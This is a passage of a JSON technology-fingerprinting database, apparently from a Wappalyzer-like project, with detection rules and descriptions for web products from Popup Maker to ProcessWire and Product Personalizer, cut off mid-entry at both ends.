\"/wp-content/plugins/popup-maker/(?:.+site(?:\\\\.min)?\\\\.js\\\\?.+ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wppopupmaker.com\"\n  },\n  \"Popupular\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Popupular is a platform that allows easy embedding of Mailchimp forms, YouTube videos, Calendly calendars, etc. into fully controllable popups on your site, with no coding required.\",\n    \"icon\": \"Popupular.svg\",\n    \"js\": {\n      \"Popupular\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.popupular\\\\.io/\"\n    ],\n    \"website\": \"https://popupular.io\"\n  },\n  \"Portal\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Portal is a platform providing necessary tools for crafting professional websites or online stores, encompassing hosting, domain registration, an intuitive management panel for creating new pages, and ongoing support.\",\n    \"icon\": \"Portal.svg\",\n    \"meta\": {\n      \"generator\": \"^Portal Site Builder\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.portal.ir\"\n  },\n  \"Post Affiliate Pro\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Post Affiliate Pro is a software built for online stores and ecommerce websites that need to track and monitor their affiliate network.\",\n    \"icon\": \"Post Affiliate Pro.svg\",\n    \"js\": {\n      \"PostAffAction\": \"\",\n      \"PostAffCookie\": \"\",\n      \"PostAffInfo\": \"\",\n      \"PostAffTracker\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"postaffiliatepro\\\\.com/scripts/trackjs\\\\.js\",\n      \"(?:affiliate|associate)\\\\..+/scripts/trackjs\\\\.js\"\n    ],\n    \"website\": \"https://www.postaffiliatepro.com\"\n  },\n  \"PostHog\": {\n    \"cats\": [\n      10\n    ],\n    \"cpe\": \"cpe:2.3:a:posthog:posthog:*:*:*:*:*:*:*:*\",\n    \"description\": \"PostHog is the open-source, all-in-one product analytics platform.\",\n    \"icon\": \"PostHog.svg\",\n    \"js\": {\n      \"posthog\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.posthog\\\\.com/\"\n    ],\n    \"website\": \"https://posthog.com\"\n  },\n  \"PostNL\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"PostNL (formerly TNT) is a mail, parcel and ecommerce corporation with operations in the Netherlands, Germany, Italy, Belgium, and the United Kingdom.\",\n    \"dom\": [\n      \"img[alt*='postnl' i], img[src*='postnl' i]\"\n    ],\n    \"icon\": \"PostNL.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bPostNL\\\\b\"\n    ],\n    \"website\": \"https://postnl.post\"\n  },\n  \"Postach\": {\n    \"cats\": [\n      11\n    ],\n    \"description\": \"Postach is a blogging platform integrated with Evernote, allowing users to create and manage blog posts directly from their Evernote account.\",\n    \"icon\": \"Postach.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.postach\\\\.io/\"\n    ],\n    \"website\": \"https://postach.io\"\n  },\n  \"Poste Italiane\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Poste Italiane is the Italian postal service provider.\",\n    \"icon\": \"Poste Italiane.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bPoste Italiane\\\\b\"\n    ],\n    \"website\": \"https://www.poste.it\"\n  },\n  \"Posterous\": {\n    \"cats\": [\n      1,\n      11\n    ],\n    \"html\": [\n      \"<div class=\\\"posterous\"\n    ],\n    \"icon\": \"Posterous.png\",\n    \"js\": {\n      \"Posterous\": \"\"\n    },\n    \"website\": \"https://posterous.com\"\n  },\n  \"PostgreSQL\": {\n    \"cats\": [\n      34\n    ],\n    \"cpe\": \"cpe:2.3:a:postgresql:postgresql:*:*:*:*:*:*:*:*\",\n    \"description\": \"PostgreSQL, also known as Postgres, is a free and open-source relational database management system emphasizing extensibility and SQL compliance.\",\n    \"icon\": \"PostgreSQL.svg\",\n    \"oss\": true,\n    \"website\": \"https://www.postgresql.org/\"\n  },\n  \"Postie\": {\n    \"cats\": [\n      32,\n      74\n    ],\n    \"description\": \"Postie is an all-in-one platform facilitating audience building, A/B testing, and campaign deployment.\",\n    \"icon\": \"Postie.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"scripts\\\\.postie\\\\.com/\"\n    ],\n    \"website\": \"https://postie.com\"\n  },\n  \"Postman API Documentation\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"Postman is an API design and documentation platform.\",\n    \"icon\": \"PostmanAPIDocumentation.svg\",\n    \"js\": {\n      \"PostmanRunObject\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Postman Documenter$\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.postman.com\"\n  },\n  \"Postpay\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"Postpay is a payment solution that allows you to split your purchase amount into instalments.\",\n    \"icon\": \"Postpay.svg\",\n    \"js\": {\n      \"PostpayJsConfig\": \"\\\\;confidence:50\",\n      \"postpay\": \"\\\\;confidence:25\",\n      \"wc_postpay_init_params\": \"\\\\;confidence:25\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.postpay\\\\.io/(?:.+\\\\?ver=([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://postpay.io\"\n  },\n  \"Postscript\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Postscript is an SMS and MMS marketing platform for Shopify stores.\",\n    \"icon\": \"Postscript.svg\",\n    \"js\": {\n      \"Postscript.isSubscriberInputChecked\": \"\",\n      \"postscript.getSubscriberId\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sdk\\\\.postscript\\\\.io/\"\n    ],\n    \"website\": \"https://www.postscript.io\"\n  },\n  \"Potions\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Potions is a personalisation technology for customising the ecommerce experience for site visitors without the use of cookies.\",\n    \"icon\": \"Potions.svg\",\n    \"js\": {\n      \"potions.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.get-potions\\\\.com/\"\n    ],\n    \"website\": \"https://get-potions.com\"\n  },\n  \"Powa\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"Powa is a site speed plugin for WordPress that operates its own Content Delivery Network (CDN) to enhance website performance and reduce loading times.\",\n    \"icon\": \"Powa.svg\",\n    \"js\": {\n      \"powaHealthCheck\": \"\",\n      \"powaInitAssets\": \"\",\n      \"powaOnLoadJs\": \"\",\n      \"powaSyncLoadScripts\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://powa.com\"\n  },\n  \"PowerReviews\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Powerreviews is a provider of UGC solutions like ratings and reviews.\",\n    \"icon\": \"PowerReviews.svg\",\n    \"js\": {\n      \"POWERREVIEWS\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"ui\\\\.powerreviews\\\\.com\"\n    ],\n    \"website\": \"https://www.powerreviews.com/\"\n  },\n  \"PowerSchool\": {\n    \"cats\": [\n      21\n    ],\n    \"description\": \"PowerSchool is a widely used student information system (SIS) used by K-12 schools, districts, and other educational institutions to manage student data and information. The software is developed and marketed by PowerSchool Group LLC, which is based in California, USA.\",\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.powerschool\\\\.com\"\n    },\n    \"icon\": \"PowerSchool.svg\",\n    \"meta\": {\n      \"application-name\": \"^PowerSchool$\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.powerschool.com\"\n  },\n  \"Powerboutique\": {\n    \"cats\": [\n      6\n    ],\n    \"icon\": \"powerboutique.png\",\n    \"scriptSrc\": [\n      \"powerboutique\"\n    ],\n    \"website\": \"https://www.powerboutique.com/\"\n  },\n  \"Powerfolio\": {\n    \"cats\": [\n      87\n    ],\n    \"cpe\": \"cpe:2.3:a:pwrplugins:powerfolio:*:*:*:*:*:*:*:*\",\n    \"description\": \"Powerfolio is a portfolio plugin for Elementor, offering various customization options for creating a tailored portfolio.\",\n    \"dom\": {\n      \"link[id='elpt-portfolio-css-css'][href*='portfolio-elementor']\": {\n        \"attributes\": {\n          \"href\": \"ver=([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n        }\n      },\n      \"style#powerfolio-portfolio-block-style-inline-css\": {\n        \"exists\": \"\"\n      }\n    },\n    \"icon\": \"Powerfolio.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Elementor\",\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://powerfoliowp.com\"\n  },\n  \"Powergap\": {\n    \"cats\": [\n      6\n    ],\n    \"html\": [\n      \"<a[^>]+title=\\\"POWERGAP\",\n      \"<input type=\\\"hidden\\\" name=\\\"shopid\\\"\"\n    ],\n    \"icon\": \"Powergap.png\",\n    \"saas\": true,\n    \"website\": \"https://powergap.de\"\n  },\n  \"Powster\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Powster is a creative studio specialising in analytics, offering data-driven insights to enhance and optimise creative projects.\",\n    \"icon\": \"Powster.svg\",\n    \"js\": {\n      \"powsterGtag\": \"\",\n      \"powsterOneTrust\": \"\"\n    },\n    \"meta\": {\n      \"author\": \"^Powster$\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"tracking\\\\.powster\\\\.com/\"\n    ],\n    \"website\": \"https://powster.com\"\n  },\n  \"Practo\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Practo is an appointment system designed for health practitioners to manage and schedule patient appointments.\",\n    \"icon\": \"Practo.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.practo\\\\.com/\"\n    ],\n    \"website\": \"https://www.practo.com\"\n  },\n  \"Praedium\": {\n    \"cats\": [\n      53\n    ],\n    \"cookies\": {\n      \"site_praedium_session\": \"\"\n    },\n    \"description\": \"\",\n    \"dom\": [\n      \"link[href*='.praedium.com.br/']\"\n    ],\n    \"icon\": \"Praedium.svg\",\n    \"js\": {\n      \"PraediumFilters\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://praedium.com.br\"\n  },\n  \"Preact\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Preact is a JavaScript library that describes itself as a fast 3kB alternative to React with the same ES6 API.\",\n    \"dom\": {\n      \"#app, .app, #root, .root, body, body > *, body > * > *, body > * > * > *\": {\n        \"properties\": {\n          \"__k\": \"\"\n        }\n      }\n    },\n    \"icon\": \"Preact.svg\",\n    \"oss\": true,\n    \"website\": \"https://preactjs.com\"\n  },\n  \"Prebid\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Prebid is an open-source header bidding wrapper. It forms the core of our Nucleus ad platform, helping maximize revenue and performance for publishers.\",\n    \"icon\": \"Prebid.svg\",\n    \"js\": {\n      \"PREBID_TIMEOUT\": \"\",\n      \"pbjs\": \"\",\n      \"pbjs.version\": \"v([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/prebid\\\\.js\",\n      \"adnxs\\\\.com/[^\\\"]*(?:prebid|/pb\\\\.js)\"\n    ],\n    \"website\": \"https://prebid.org\"\n  },\n  \"Prediggo\": {\n    \"cats\": [\n      76,\n      32\n    ],\n    \"description\": \"Prediggo is an ecommerce personalisation and marketing automation software provider.\",\n    \"icon\": \"Prediggo.svg\",\n    \"js\": {\n      \"Prediggo\": \"\",\n      \"PrediggoSearchFormExternalAc\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js/prediggo/(?:[\\\\w]+)\\\\.js\"\n    ],\n    \"website\": \"https://prediggo.com\"\n  },\n  \"Prefix-Free\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Prefix-Free is a JavaScript library that automatically removes browser vendor prefixes from CSS properties, enabling developers to use standard CSS without worrying about cross-browser compatibility issues.\",\n    \"icon\": \"Prefix-Free.svg\",\n    \"js\": {\n      \"PrefixFree\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"prefixfree\\\\.js\"\n    ],\n    \"website\": \"https://leaverou.github.io/prefixfree/\"\n  },\n  \"Preline UI\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Preline UI is an open-source set of prebuilt UI components based on the utility-first Tailwind CSS framework.\",\n    \"icon\": \"Preline UI.svg\",\n    \"implies\": [\n      \"Tailwind CSS\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/preline\\\\.js\"\n    ],\n    \"website\": \"https://preline.co\"\n  },\n  \"Premio Chaty\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Chat with your website visitors via their favorite channels with Chaty by Premio.\",\n    \"icon\": \"Premio.png\",\n    \"js\": {\n      \"chaty_settings.chaty_widgets\": \"\",\n      \"chaty_settings.object_settings\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/chaty/\"\n    ],\n    \"website\": \"https://premio.io/downloads/chaty\"\n  },\n  \"Prepr\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"__prepr_uid\": \"\"\n    },\n    \"description\": \"Prepr is a headless CMS with data-driven capabilities.\",\n    \"dom\": [\n      \"img[src*='.prepr.io/']\"\n    ],\n    \"icon\": \"Prepr.svg\",\n    \"js\": {\n      \"prepr\": \"\"\n    },\n    \"meta\": {\n      \"prepr:id\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requiresCategory\": [\n      12\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.prepr\\\\.io/\"\n    ],\n    \"website\": \"https://prepr.io\"\n  },\n  \"Press Customizr\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Press Customizr is a multipurpose WordPress theme suitable for small businesses and ecommerce sites.\",\n    \"dom\": [\n      \"style#customizr-skin-inline-css, link#customizr-style-css\"\n    ],\n    \"icon\": \"Press.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/customizr/.+js(?:\\\\?ver=([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://presscustomizr.com/customizr\"\n  },\n  \"Press Hueman\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Press Hueman is a mobile friendly WordPress theme for blogs, magazines and business websites.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/hueman/']\"\n    ],\n    \"icon\": \"Press.svg\",\n    \"js\": {\n      \"HUParams\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/hueman/.+scripts\\\\.min\\\\.js(?:\\\\?ver=([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://presscustomizr.com/hueman\"\n  },\n  \"PressMaximum Customify\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"PressMaximum Customify is lightweight, responsive and flexible multipurpose WordPress theme.\",\n    \"icon\": \"PressMaximum.svg\",\n    \"js\": {\n      \"Customify\": \"\",\n      \"Customify_JS\": \"\",\n      \"customify_is_mobile\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/customify/.+theme\\\\.min\\\\.js(?:.+ver=([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://pressmaximum.com/customify\"\n  },\n  \"Pressable\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Pressable is a managed hoting platform for WordPress.\",\n    \"headers\": {\n      \"host-header\": \"^Pressable\"\n    },\n    \"icon\": \"pressable.svg\",\n    \"implies\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://pressable.com\"\n  },\n  \"Pressero\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Pressero is a web-to-print storefront platform that allows businesses to offer customizable print products, manage orders, and streamline the printing process through an online interface.\",\n    \"icon\": \"Pressero.svg\",\n    \"meta\": {\n      \"generator\": \"^Pressero$\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.aleyant.com/pressero\"\n  },\n  \"PrestaShop\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"PrestaShop\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:prestashop:prestashop:*:*:*:*:*:*:*:*\",\n    \"description\": \"PrestaShop is a freemium, open-source ecommerce solution, written in the PHP programming language with support for the MySQL database management system.\",\n    \"dom\": [\n      \"img[src*='/modules/prestablog/themes/'], img[data-src*='/modules/prestablog/themes/']\"\n    ],\n    \"headers\": {\n      \"Powered-By\": \"^Prestashop$\"\n    },\n    \"html\": [\n      \"Powered by <a\\\\s+[^>]+>PrestaShop\",\n      \"<!-- /Block [a-z ]+ module (?:HEADER|TOP)?\\\\s?-->\",\n      \"<!-- /Module Block [a-z ]+ -->\"\n    ],\n    \"icon\": \"PrestaShop.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"js\": {\n      \"freeProductTranslation\": \"\\\\;confidence:40\",\n      \"prestashop\": \"\",\n      \"priceDisplayMethod\": \"\\\\;confidence:40\",\n      \"priceDisplayPrecision\": \"\\\\;confidence:40\",\n      \"rcAnalyticsEvents.eventPrestashopCheckout\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"PrestaShop\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.prestashop.com\"\n  },\n  \"Presto Player\": {\n    \"cats\": [\n      14,\n      87\n    ],\n    \"description\": \"Presto Player is a WordPress plugin designed for embedding optimised video and audio on WordPress websites.\",\n    \"icon\": \"PrestoPlayer.svg\",\n    \"js\": {\n      \"prestoComponents\": \"\",\n      \"prestoPlayer\": \"\",\n      \"prestoPlayer.proVersion\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"onetime\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://prestoplayer.com\"\n  },\n  \"Pretty Links\": {\n    \"cats\": [\n      87,\n      71\n    ],\n    \"description\": \"Pretty Links is a WordPress plugin URL shortener, link cloaker, branded link, and QR code generator.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/pretty-link/']\"\n    ],\n    \"icon\": \"Pretty Links.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://prettylinks.com\"\n  },\n  \"PriceSpider\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"PriceSpider is an advanced retail data technology company that provides insights about consumer purchasing behavior.\",\n    \"icon\": \"PriceSpider.png\",\n    \"js\": {\n      \"PriceSpider.version\": \"(.+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.pricespider\\\\.com/\"\n    ],\n    \"website\": \"https://www.pricespider.com\"\n  },\n  \"PrimeGate\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"PrimeGate is an end-to-end Russian analytics system offering a unified platform for businesses.\",\n    \"icon\": \"PrimeGate.svg\",\n    \"js\": {\n      \"PrimeGate\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"js\\\\.primegate\\\\.io/\"\n    ],\n    \"website\": \"https://www.primegate.io\"\n  },\n  \"PrimeNG\": {\n    \"cats\": [\n      66\n    ],\n    \"css\": [\n      \"\\\\.p-(?:toast|calendar|dialog-mask|menuitem-text|sidebar)(?:-content)?\\\\{\"\n    ],\n    \"description\": \"PrimeNG is a rich set of open-source UI Components for Angular.\",\n    \"icon\": \"PrimeNG.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"Angular\"\n    ],\n    \"website\": \"https://primeng.org\"\n  },\n  \"PrimeReact\": {\n    \"cats\": [\n      66\n    ],\n    \"css\": [\n      \"\\\\.p-(?:toast|calendar|dialog-mask|menuitem-text|sidebar)(?:-content)?\\\\{\"\n    ],\n    \"description\": \"PrimeReact is a rich set of open-source UI Components for React.\",\n    \"icon\": \"PrimeReact.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"React\"\n    ],\n    \"website\": \"https://primereact.org\"\n  },\n  \"PrimeVue\": {\n    \"cats\": [\n      66\n    ],\n    \"css\": [\n      \"\\\\.p-(?:toast|calendar|dialog-mask|menuitem-text|sidebar)(?:-content)?\\\\{\"\n    ],\n    \"description\": \"PrimeVue is a rich set of open-source UI Components for Vue.js.\",\n    \"dom\": [\n      \"style[data-primevue-style-id]\"\n    ],\n    \"icon\": \"PrimeVue.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"Vue.js\"\n    ],\n    \"website\": \"https://primevue.org\"\n  },\n  \"Primeleads\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Primeleads is a tool that identifies visitors on your site and personalises the website experience for each individual visitor.\",\n    \"icon\": \"Primeleads.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.primeleads\\\\.de/\"\n    ],\n    \"website\": \"https://primeleads.de\"\n  },\n  \"Primis\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Primis is a video discovery platform for publishers.\",\n    \"dom\": {\n      \"iframe[src*='.sekindo.com']\": {\n        \"attributes\": {\n          \"src\": \"\"\n        }\n      },\n      \"img[src*='.sekindo.com']\": {\n        \"attributes\": {\n          \"src\": \"\"\n        }\n      }\n    },\n    \"icon\": \"Primis.svg\",\n    \"js\": {\n      \"SekindoNativeSkinApi\": \"\",\n      \"sekindoDisplayedPlacement\": \"\",\n      \"sekindoFlowingPlayerOn\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.sekindo\\\\.com\"\n    ],\n    \"website\": \"https://www.primis.tech\",\n    \"xhr\": [\n      \"\\\\.sekindo\\\\.com\"\n    ]\n  },\n  \"Printful\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Printful offers print-on-demand drop shipping solution for ecommerce sites.\",\n    \"icon\": \"Printful.svg\",\n    \"implies\": [\n      \"Cart Functionality\"\n    ],\n    \"scriptSrc\": [\n      \"static\\\\.cdn\\\\.printful\\\\.com\"\n    ],\n    \"website\": \"https://www.printful.com/\"\n  },\n  \"Priority Hints\": {\n    \"cats\": [\n      92\n    ],\n    \"description\": \"Priority Hints exposes a mechanism for developers to signal a relative priority for browsers to consider when fetching resources.\",\n    \"dom\": [\n      \"iframe[fetchpriority], img[fetchpriority], script[fetchpriority], link[fetchpriority]\"\n    ],\n    \"icon\": \"Priority Hints.svg\",\n    \"website\": \"https://wicg.github.io/priority-hints/\"\n  },\n  \"Prism\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Prism is an extensible syntax highlighter.\",\n    \"icon\": \"Prism.svg\",\n    \"js\": {\n      \"Prism\": \"\",\n      \"apex.libVersions.prismJs\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"prism(?:\\\\.min)?(?:-\\\\w{0,64})?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://prismjs.com\"\n  },\n  \"Prismic\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Prismic is a headless CMS for Jamstack.\",\n    \"dom\": [\n      \"img[src*='images.prismic.io']\"\n    ],\n    \"icon\": \"Prismic.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.prismic\\\\.io/\"\n    ],\n    \"website\": \"https://prismic.io\",\n    \"xhr\": [\n      \"\\\\.cdn\\\\.prismic\\\\.io\"\n    ]\n  },\n  \"Privado\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Privado is a privacy management platform that automates data mapping.\",\n    \"icon\": \"Privado.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.cdn\\\\.privado\\\\.ai/\"\n    ],\n    \"website\": \"https://www.privado.ai\"\n  },\n  \"Privasee\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Privasee is a self-compliance tool designed to simplify GDPR for SMEs, enabling them to understand their data and mitigate risks effectively.\",\n    \"icon\": \"Privasee.svg\",\n    \"js\": {\n      \"privasee\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.privasee\\\\.io/\"\n    ],\n    \"website\": \"https://www.privasee.io\"\n  },\n  \"Privy\": {\n    \"cats\": [\n      32,\n      75\n    ],\n    \"description\": \"Privy is a all-in-one marketing automation platform for ecommerce.\",\n    \"icon\": \"Privy.svg\",\n    \"js\": {\n      \"Privy\": \"\",\n      \"PrivyWidget\": \"\",\n      \"privySettings\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.privy\\\\.com/\"\n    ],\n    \"website\": \"https://www.privy.com\"\n  },\n  \"Privy App\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Privy App helps you improve your website conversion rate, grow your email list, automate your email marketing, drive repeat purchases and much more.\",\n    \"icon\": \"Privy.svg\",\n    \"implies\": [\n      \"Privy\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//shopify\\\\.privy\\\\.com/\"\n    ],\n    \"website\": \"https://apps.shopify.com/privy\"\n  },\n  \"ProcessWire\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:processwire:processwire:*:*:*:*:*:*:*:*\",\n    \"description\": \"ProcessWire is an open source content management system (CMS) and framework (CMF).\",\n    \"headers\": {\n      \"X-Powered-By\": \"ProcessWire CMS\"\n    },\n    \"icon\": \"ProcessWire.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"ProcessWire\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://processwire.com/\"\n  },\n  \"Procurios\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Procurios is a provider of software solutions tailored to nonprofit and member organizations, offering website management, fundraising, CRM, and event tools.\",\n    \"icon\": \"Procurios.svg\",\n    \"meta\": {\n      \"generator\": \"^Procurios$\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.procurios.com\"\n  },\n  \"Product Hunt\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Product Hunt is a community-based website that allows makers and marketers to launch their products or services and get in touch with their first real users.\",\n    \"dom\": {\n      \"a[href*='.producthunt.com/']\": {\n        \"attributes\": {\n          \"href\": \"\\\\.producthunt\\\\.com/(?:post|tech|products)\"\n        }\n      }\n    },\n    \"icon\": \"Product Hunt.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.producthunt.com\"\n  },\n  \"Product Personalizer\": {\n    \"cats\": [\n      100,\n      76\n    ],\n    \"description\": \"Product Personalizer apps can help you to customise your products and offer a more personalised experience for your customers.\",\n    \"icon\": \"Product Personalizer.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/product-personalizer/pplr_common\\\\.js\"\n    ],\n    \"website\": \"https://productpersonalizer.com\"\n  },\n  \"Profeat\": {\n    \"cats\": [\n      